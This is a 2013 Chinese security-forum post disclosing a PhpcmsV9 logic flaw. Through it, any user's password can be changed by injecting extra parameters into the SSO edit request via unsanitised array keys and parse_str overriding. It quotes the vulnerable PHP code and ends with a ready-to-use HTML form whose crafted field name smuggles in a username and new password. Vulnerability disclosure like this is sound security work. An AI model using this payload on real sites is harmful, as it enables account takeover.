找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1775|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:! P5 t' l, H6 S$ p2 Y; Y* l$ m
$ |* a+ h5 f* l  k) z& p  D

- m$ j" a" X1 q* c9 ~, Vparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
& x, u5 v8 |/ X3 v% ^( v
- {- i! t7 E3 _' j1 G/ s" b在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
, |* e5 O0 X8 K! y# r) d$ _, c& x' o  W3 u# o  r$ n
我把它留给了你们。, s* O9 f9 f& b/ w0 x& q
不知道你们发现了它没有。6 j1 d! c$ K: s4 E
8 q" E, q( R& M7 Y: v% `
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
& @3 u- u- _: _
7 o5 Q' S8 A/ x  u4 M所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
% _! [1 T- `4 T% v1 y% x/ h1 }+ y6 l
也就是4 ]- @0 T7 ^4 c0 |7 z( a2 p
5 A: u6 r2 p: A* T/ P+ }
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。  i( e- Y- v2 e& s& V8 Q
) m8 P& c% I" d5 u( l: U: Z
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
! X) U( @3 e4 W' l+ [8 C3 p
1 w0 [4 U% a6 {1 b; d3 @
, ~/ I% A2 Q4 Q0 f其实我们有这样的机会,看看代码,如下:
& o$ V) b. U! o2 a( b4 R" M! t/ g1 ]0 d) W
9 d- `7 F7 U  Z. k
public function auth_data($data) {
! t' [/ E5 J! n" N                $s = $sep = '';9 e( x4 R# H8 r; S$ B% j
                foreach($data as $k => $v) {7 [, d, {) E0 g
                        if(is_array($v)) {
+ [. {( S6 [! M  r' v  A: O% y                                $s2 = $sep2 = '';
2 _8 x$ _& F* `3 u5 A1 K5 i                                foreach($v as $k2 => $v2) {
6 Z* l: X4 U" A8 I9 o                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);3 r  b# q# I) ^4 Y: p
                                        $sep2 = '&';
! g1 a: m1 [0 }4 ?' b! t                                }. ~* ~5 p& z6 I  d0 x( a4 p5 F$ D/ E
                                $s .= $sep.$s2;. a. f& d4 {6 Z. G7 k
                        } else {2 ]1 s  s+ Q+ ]8 E# @" h2 f0 U
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);6 m" W, E( F. I
                        }
$ c- \3 q9 i: ~1 S- _                        $sep = '&';8 L+ N/ g5 _! U2 A5 J
                }( f3 p7 j( V! ]
, f; W+ Y" W9 R1 i4 \  x
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));+ T* b- J. ^5 |
                return $auth_s;
0 ~* i4 P% u2 Q6 K        }! q% J  U) Y9 b$ m
: F. B/ O" t* c, Q* l+ U
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。& [4 ~: n; I& J1 ]7 u

! q4 {/ T" W: [  ~举个例子5 m0 V3 I; W* r$ b6 l3 b
5 u# Y) w  j$ D9 X' m+ _
$a[aaa=a&bbb] = 'a';
( A( h7 j# j; ~8 t- Q& T* [. ]( I0 f. E& R9 O+ K# F- V. X1 P
会变成aaa=a&bbb=a* d; ^6 E# ^) _' q; @. A: @9 X
6 g7 @- n- b+ v4 ~
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
  e+ @' }+ m+ Q7 F8 F; z+ K3 H, C9 W* e( W2 e3 g/ U
这个时候,我们可以再去看一个函数。# o+ _9 s* j* ^" ~1 C7 N/ G) j
( `& k* X4 y: d& M$ ~' E* ~2 E
就在这个文件内:
- c# W3 O0 D5 I: v: h, i: ^: `% `

7 `( N6 P. a; I' apublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
( M9 t( F* z2 M" u+ |* O) n# j                if($email && !$this->_is_email($email)) {
9 n" G+ ]  _7 y6 O8 z9 {4 c                        return -4;. X- x% Z9 ^! A1 }* j
                }
2 V: n& @, `8 ], k) q& @' i                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
9 b. Y5 k! C( W7 |- g        }7 N3 i8 g4 g# L# u' ]) J

+ w& ^8 ~7 G3 k4 I这是向通行证发了这样一个请求。
3 d& @* U  P5 [/ A% t% y' V7 `" Z* H0 W8 J( t- _
我们再跟到通信证代码里去看看,就会有所发现。" Y" H( a1 r' u( [

5 I; D1 j6 ?( E3 u) y. e3 ]- {' [" e6 p9 x6 S
public function edit() {( I2 K" H: |1 w3 i' n
//能省就省,太长了不是吗?
4 U3 U% d% n. y  i7 y# u2 u$ K* H$ y
if($this->username) {
$ U1 J1 W) \3 Y/ ~( V//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。& y" N5 I3 n+ P4 @
                                $res = $this->db->update($data, array('username'=>$this->username));& V2 S$ D2 m% Y1 r, C# }2 H
                        } else {
, F! H3 Q' \+ @. |                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
; K" f) n# J/ y3 v4 D4 X' o0 H& z                                $res = $this->db->update($data, array('uid'=>$this->uid));2 m5 _5 j: k$ D, E( Y. g& Z
                        }' j0 s1 T+ g2 C0 c1 N  s" G

5 J  f. k/ |0 ?好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:6 y+ f4 d+ J- E% u2 y# m
8 ^7 _  _. e* r  w
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')3 {3 Q) L- v% w

* C5 `( s9 U" e* M, W很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
; v/ Y8 O3 ?! l- b5 o$ Y. W- e* S& B2 L1 i* @( z" ]
我当然找到了:
1 O7 M" a" U8 a7 a5 mphpcms9/phpcms/modules/member/index.php
! z; J6 ?# I  C) B: f( s$ p5 t
- _" Y# L* A" c0 Q+ |7 ]$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);9 P+ N. J2 t: J6 a8 R" |
, {3 [7 {, p8 M, j& J8 \
然后就没有然后了。; k0 x. U$ B  A# m

0 f, G% ]$ R; V- k$ q( B- a<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
3 E1 t  A% R2 e+ k% {# D0 o                                <table width="100%" cellspacing="0" class="table_form"># ^: o" c: @) ~7 k9 b. y( ~. T
                                        <tr>0 p$ r& m4 J2 a% k0 v
                                                <th width="80">邮箱:</th>        
; y* ~9 b9 s/ q* h* v                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td># B6 B- E7 X3 f2 _* I4 ]! D7 C! `
                                        </tr>, M/ g) I& f$ D3 M
                                        <tr>! ~# N$ |" C4 v; q: x) }1 w
                                                <th width="80">原密码:</th>        
* r1 S; x; ~: I$ u" c                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>. x4 V2 E6 R4 g0 K7 d( @
                                        </tr>1 v/ V$ a) `: }- g6 ~8 S3 r
                                        <tr>. w% x" k* P5 R! q5 |  e4 b) t
                                                <th>新密码:</th>6 J4 w; G: E: u- V6 i
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>8 Y) h% s/ [- [; x& X
                                        </tr>, q  ?6 t9 O/ N# @5 s2 m
                                        <th></th>- g8 N! _, S; ]1 L5 L
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
) _" N* r! B$ B! T" X- i                                        </tr>4 |" C+ a/ M  k& j
                                </table>6 Q# \( L' x/ j. G: k& f2 W

9 x$ b$ `" n0 Q. X& ~0 X/ ^8 \; t                               
0 f- N: [; I/ k                        </form>3 Y; e9 u0 C0 R; @3 ?1 K6 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表